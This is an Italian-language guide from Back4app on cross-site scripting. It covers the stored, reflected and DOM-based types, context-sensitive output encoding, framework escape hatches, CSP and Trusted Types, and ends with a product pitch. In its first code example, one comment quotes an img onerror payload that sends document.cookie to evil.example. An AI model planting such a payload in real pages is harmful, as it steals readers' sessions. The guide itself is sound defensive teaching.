Che cos'è il Cross-Site Scripting (XSS) – e come si previene?

Aggiornato: ottobre 2026

Il cross-site scripting è un attacco che inietta script malevoli in pagine fidate; prevenirlo significa codificare l’output in base al contesto. Il browser è vittima della propria fiducia: uno script che arriva dentro una pagina servita da un’origin legittima viene eseguito con tutti i poteri di quella pagina – sessione, archiviazione, ogni azione che l’utente può compiere. A tre decenni di distanza, CWE-79 resta in testa alle classifiche delle debolezze più pericolose, perché la causa profonda si commette un template alla volta: input non fidato che raggiunge l’output senza encoding.

Punti chiave

DomandaRisposta
I tre tipiStored (nel database) · reflected (nell’URL) · DOM-based (nel JS client)
La difesa principaleEncoding dell’output sensibile al contesto – al rendering, per destinazione
La regola che tutti invertonoValidare per la correttezza; codificare per la sicurezza – la validazione da sola non ce la fa
FrameworkEscape automatico per impostazione predefinita – fino alla via d’uscita (v-html, dangerouslySetInnerHTML)
Le reti di sicurezzaCSP stretta · Trusted Types · cookie HttpOnly – mitigazione, non correzioni

Una riga vulnerabile

// Il bug – i dati utente incontrano un sink HTML
commentEl.innerHTML = comment.text;
// Payload che prima o poi qualcuno invierà:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Il browser di ogni lettore lo esegue, con la sessione del lettore.

// La correzione – stessi dati, contesto testo
commentEl.textContent = comment.text;   // il markup si mostra; non viene mai eseguito

La disciplina che sta dietro a quella correzione – archiviare grezzo, rendere sicuro – su tutto lo stack:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

XSS stored vs. reflected vs. DOM-based

CriterionStored (persistente)ReflectedDOM-based
Dove vive il payloadNel databaseIn un URL creato ad arteNel flusso di dati lato client
VittimeChiunque visualizzi la paginaChiunque clicchi sul linkChiunque raggiunga quello stato della pagina
Il server lo vedeSì – in scritturaSì – riflesso a ogni richiestaSpesso mai
Vettore classicoCommenti, profili, messaggiEchi di ricerca, pagine di errorelocation.hash → innerHTML
Gravità (consenso)Il più pericolosoMirato, dipende dal linkInvisibile ai log del server e ai WAF
Come i tre tipi di XSS consegnano un payload al browser della vittimaL'input dell'attaccante raggiunge il browser della vittima per tre strade. L'XSS stored viene salvato nel database e servito a ogni visitatore. L'XSS reflected viene rimandato in eco da una richiesta su un URL creato ad arte. L'XSS DOM-based passa da una source lato client direttamente a un sink pericoloso, senza necessariamente raggiungere il server. In tutti e tre i casi lo script viene eseguito con tutti i privilegi della pagina.

salvato: commento, profilo

servito a tutti i visitatori

URL creato ad arte, rimandato in eco

source lato client → sink
(hash → innerHTML)

Input dell'attaccante

Database

Browser della vittima

Risposta del server

JS della pagina stessa

Lo script gira con sessione,
archiviazione e poteri della pagina

L'input dell'attaccante raggiunge il browser della vittima per tre strade. L'XSS stored viene salvato nel database e servito a ogni visitatore. L'XSS reflected viene rimandato in eco da una richiesta su un URL creato ad arte. L'XSS DOM-based passa da una source lato client direttamente a un sink pericoloso, senza necessariamente raggiungere il server. In tutti e tre i casi lo script viene eseguito con tutti i privilegi della pagina.

La difesa principale: encoding dell’output sensibile al contesto

La regola distintiva, detta chiaramente visto che le fonti di riferimento la seppelliscono: la stessa stringa è innocua in un posto e letale in un altro – ed è per questo che l’encoding avviene all’output, per destinazione, e per questo la sola validazione dell’input fallisce sempre: al momento dell’input il contesto non è noto, le blocklist perdono contro i trucchi di encoding, e dati legittimi (O'Brien, 1 < 2) si rompono sotto una validazione eretta a misura di sicurezza.

Contesto di outputEncodingL’errore comune
Corpo HTMLCodificare in entità & < > " 'Dirsi che “è solo testo”
Attributo HTMLEntità + racchiudere sempre l’attributo tra apiciAttributi senza apici – basta uno spazio per uscirne
Stringa JavaScriptEscape \uXXXX, tramite un serializzatoreConcatenare dati utente in JS inline
URL / hrefPercent-encoding + validare lo schemaGli URL javascript: attraversano senza problemi l’encoding HTML
Valore CSSAllowlist strette, solo valori di proprietàBlocchi di stile controllati dall’utente
JSON in una paginaSerializzare in JSON + fare escape di </script>Blob di hydration window.__STATE__ = …

Quando gli utenti scrivono legittimamente HTML – testo ricco, markdown – l’encoding lo distruggerebbe; è l’unico compito del sanitizing: una libreria mantenuta (DOMPurify) rimuove le costruzioni eseguibili, e l’output va usato così com’è – ritoccare una stringa già sanitizzata annulla il sanitizing.

Framework: escape per impostazione predefinita, insicuri per via d’uscita

I framework moderni hanno mandato in pensione il grosso dell’XSS classico: i valori interpolati subiscono escape automatico. Due clausole in piccolo tengono in vita il bug. Primo, ogni framework fornisce un aggiramento, e ciascuno è un bersaglio da grep in code review:

FrameworkFa escape per impostazione predefinitaLa via d’uscita
ReactInterpolazione JSXdangerouslySetInnerHTML
VueTemplate {{ }}v-html
AngularInterpolazione + sanitizerbypassSecurityTrustHtml e simili
SvelteEspressioni di template{@html …}
Template lato serverModalità auto-escapeFiltri | safe / | raw

Secondo, l’escape automatico copre soltanto il contesto del corpo HTML: un href legato a dati utente esegue ancora gli URL javascript:, e l’inserimento in uno script inline richiede ancora un encoding adatto al contesto JS. La risposta sul piano del workflow: sanitizzare prima di qualunque via d’uscita, validare lo schema degli URL nei link legati a dati e passare le vie d’uscita al linter (react/no-danger e simili), perché le eccezioni restino deliberate.

Difesa in profondità: CSP, Trusted Types, HttpOnly

Le reti di sicurezza, presentate con onestà. Una Content Security Policy stretta blocca gli script inline iniettati anche quando un bug finisce in produzione:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Basata su nonce, non su allowlist: gli elenchi di host autorizzati si aggirano abbastanza spesso perché il cheat sheet di OWASP insista sul fatto che la CSP non dovrebbe essere la difesa principale. Conviene distribuirla prima in modalità Report-Only. Trusted Types (require-trusted-types-for 'script') va più lontano contro l’XSS DOM-based: i sink pericolosi come innerHTML rifiutano di netto le stringhe semplici, costringendo tutto l’HTML a passare per una sola policy verificabile. E i cookie HttpOnly proteggono esattamente una cosa – gli script iniettati non possono leggere il cookie di sessione – cosa che conta, perché i token in localStorage distano un localStorage.getItem dall’esfiltrazione: le indicazioni sull’archiviazione dei JWT e questo articolo sono lo stesso argomento visto dai due lati. Nessuno dei tre corregge il bug; tutti e tre riducono quanto vale.

La parte del backend

L’XSS passa per un problema di frontend; una parte spetta però all’API. Archiviare grezzo, codificare all’output – codificare in scrittura corrompe i dati, provoca un doppio encoding negli andirivieni e manca comunque i contesti che non erano stati previsti. Disciplina del Content-Type: le risposte JSON dichiarano Content-Type: application/json insieme a X-Content-Type-Options: nosniff, perché un parametro riflesso in una risposta che il browser accetta di interpretare come HTML è XSS con qualche passaggio in più. Le pagine di errore che rimandano in eco l’URL o i parametri sono il classico sink reflected che nessuno rilegge in code review. E la trappola vicina che merita una frase: rendere un input utente come template invece che come dato supera l’XSS e diventa una server-side template injection – un input utente è un dato di template, mai codice di template.

Casi d’uso tipici

Dove queste difese si guadagnano lo stipendio:

  • Commenti, recensioni, messaggi – territorio dell’XSS stored: codificare al rendering, in ogni punto in cui appaiono.
  • Testo ricco e markdown – il caso dell’HTML legittimo: sanitizzare al rendering e tenere aggiornato il sanitizer.
  • Ricerca, filtri, pagine di errore – territorio reflected: tutto ciò che rimanda in eco i dati della richiesta li codifica.
  • SPA che fanno routing sullo stato dell’URL – territorio DOM: i dati del fragment e della query string non incontrano mai innerHTML senza sanitizing.
  • WebView mobile – la superficie XSS dell’app nativa: non caricare mai contenuto utente grezzo come HTML.

Quale difesa per prima? Matrice decisionale

SituazioneChe fare
Mostrare testo utenteInterpolazione del framework / textContent – nulla di più elaborato
Rendere HTML scritto dall’utenteSanitizzare con DOMPurify, usare l’output così com’è
Dati utente in un linkValidare lo schema con una allowlist (https:), poi codificare
JSON/stato inline nelle pagineSerializzare in JSON con escape sicuro per gli script
Mandare in produzione uno dei casi sopraCSP stretta a nonce in Report-Only, poi in modalità bloccante
Verificare codice esistenteGrep su vie d’uscita e sink; passarli al linter; testare i payload per contesto

Limiti e trade-off

  • L’encoding deve corrispondere esattamente al contesto. Codificare in HTML un dato inserito in un URL o in un blocco di script è il pattern della falsa sicurezza – difesa giusta, contesto sbagliato, ancora sfruttabile.
  • I sanitizer sono dipendenze. Gli aggiramenti vengono pubblicati; un sanitizer fermo a una versione obsoleta diventa silenziosamente una vulnerabilità con un changelog.
  • La CSP costa ingegneria. I nonce toccano ogni tag script e ogni handler inline; adottare una CSP stretta su una codebase legacy è un progetto a sé, ed è per questo che esiste il Report-Only.
  • Trusted Types ha limiti di adozione. Funziona su tutti i browser attuali solo dall’inizio del 2026, quindi i browser più vecchi lo ignorano; va trattato come un irrigidimento sopra l’encoding, non come una garanzia.
  • I WAF non sono la risposta. I filtri a corrispondenza di pattern intercettano i payload noti e mancano encoding e mutazioni; le indicazioni di OWASP li giudicano poco affidabili contro l’XSS.

Prevenzione dell’XSS su Back4app

Back4app è una piattaforma open-source di Backend as a Service (BaaS) che combina database gestito, API REST e GraphQL generate automaticamente, autenticazione, archiviazione di file e funzioni serverless con Cloud Code. La parte di disciplina che spetta al backend è integrata di serie: i dati sono archiviati grezzi e restituiti tramite API JSON con i Content-Type corretti – mai resi in HTML lato server – così la responsabilità dell’encoding all’output resta pulita nel livello UI, dove le schede di codice qui sopra mostrano il pattern archivia-grezzo/rendi-sicuro per ogni piattaforma. I controlli sul raggio d’impatto sono già attivi: le sessioni si appoggiano a token revocabili invece che a credenziali di lunga durata in localStorage, e le ACL insieme ai permessi di classe delimitano ciò che qualunque script in esecuzione come un utente potrebbe toccare – un payload iniettato eredita i permessi della vittima, non il database. Cloud Code è la casa giusta per l’igiene lato server che resta: validare i campi URL contro allowlist di schemi e sanitizzare una volta sola i campi di testo ricco, in beforeSave, perché ogni client renda lo stesso contenuto già difeso.

Domande frequenti

Che cos'è l'XSS in parole semplici?

Un attaccante infila il proprio JavaScript in una pagina che altri visualizzano – attraverso un commento, un link creato ad arte, un campo del profilo – e il browser delle vittime lo esegue come se l'avesse scritto il sito stesso. Da quel momento lo script può fare tutto ciò che può fare la vittima: leggere i suoi dati, agire al suo posto, rubarle la sessione.

Qual è un esempio di attacco XSS?

Un campo commento che non codifica l'output: basta inviare un tag script come commento perché venga eseguito nel browser di ogni lettore. I payload proof-of-concept aprono un alert; quelli reali spediscono invece all'attaccante il cookie di sessione o i token della vittima.

Qual è la differenza tra XSS stored, reflected e DOM-based?

Il percorso che compie il payload. L'XSS stored vive nel database e colpisce chiunque visualizzi la pagina. L'XSS reflected viaggia in un URL creato ad arte e colpisce chi ci clicca sopra. L'XSS DOM-based avviene interamente nel JavaScript lato client – i dati dell'attaccante passano da una source come il fragment dell'URL a un sink come innerHTML, a volte senza toccare mai il server.

Come si previene l'XSS?

Nell'ordine: encoding dell'output sensibile al contesto al momento del rendering (la difesa principale), validazione dell'input come livello di appoggio, una libreria di sanitizing quando gli utenti possono scrivere HTML vero, header Content-Type corretti sulle API, una Content Security Policy stretta come rete di sicurezza e cookie HttpOnly per limitare ciò che un attacco riuscito può rubare.

Encoding dell'output, validazione dell'input, sanitizing: quale scegliere?

Sono tre ruoli diversi. L'encoding converte i caratteri in uscita perché i dati si mostrino come testo invece di essere eseguiti – la difesa principale, scelta in base al contesto. La validazione rifiuta gli input malformati al loro arrivo – utile per la correttezza, insufficiente per la sicurezza, perché il pericolo dipende da dove i dati finiscono. Il sanitizing rimuove le costruzioni non sicure da un HTML che si intende davvero rendere come HTML.

La Content Security Policy ferma l'XSS?

Una CSP stretta, basata su nonce, blocca gli script inline iniettati anche quando un bug esiste – autentica difesa in profondità. Ma è la rete, non la correzione: le policy costruite su allowlist si aggirano comunemente, e le indicazioni di OWASP sono esplicite: la CSP non deve mai essere la difesa principale.

React e Vue prevengono l'XSS automaticamente?

In buona parte – l'interpolazione dei template fa escape automatico dei valori, cosa che ha mandato in pensione intere classi di bug. Ma ogni framework fornisce vie d'uscita che reintroducono l'XSS tale e quale: dangerouslySetInnerHTML in React, v-html in Vue, le API di aggiramento della fiducia in Angular – più gli URL javascript: nei binding href, che l'escape automatico non ha mai coperto.

Qual è la differenza tra XSS e CSRF?

La capacità. L'XSS esegue codice dell'attaccante nel browser della vittima – in due direzioni: può leggere le risposte e fare tutto ciò che può fare l'utente. Il CSRF si limita a indurre il browser a inviare richieste falsificate – in una sola direzione, senza lettura, e dipendente da una sessione attiva. L'XSS è la classe più grave, e un bug XSS può neutralizzare le difese anti-CSRF.

Termini correlati

Confronta con

Fonti di approfondimento

Pronto a costruire il tuo backend?

Avvia il tuo progetto su Back4app in pochi minuti: database, autenticazione, API e Cloud Code inclusi. Nessuna carta di credito richiesta.

Scritto e revisionato da Back4app Engineering, Back4app Engineering · Pubblicato il 2026-10-14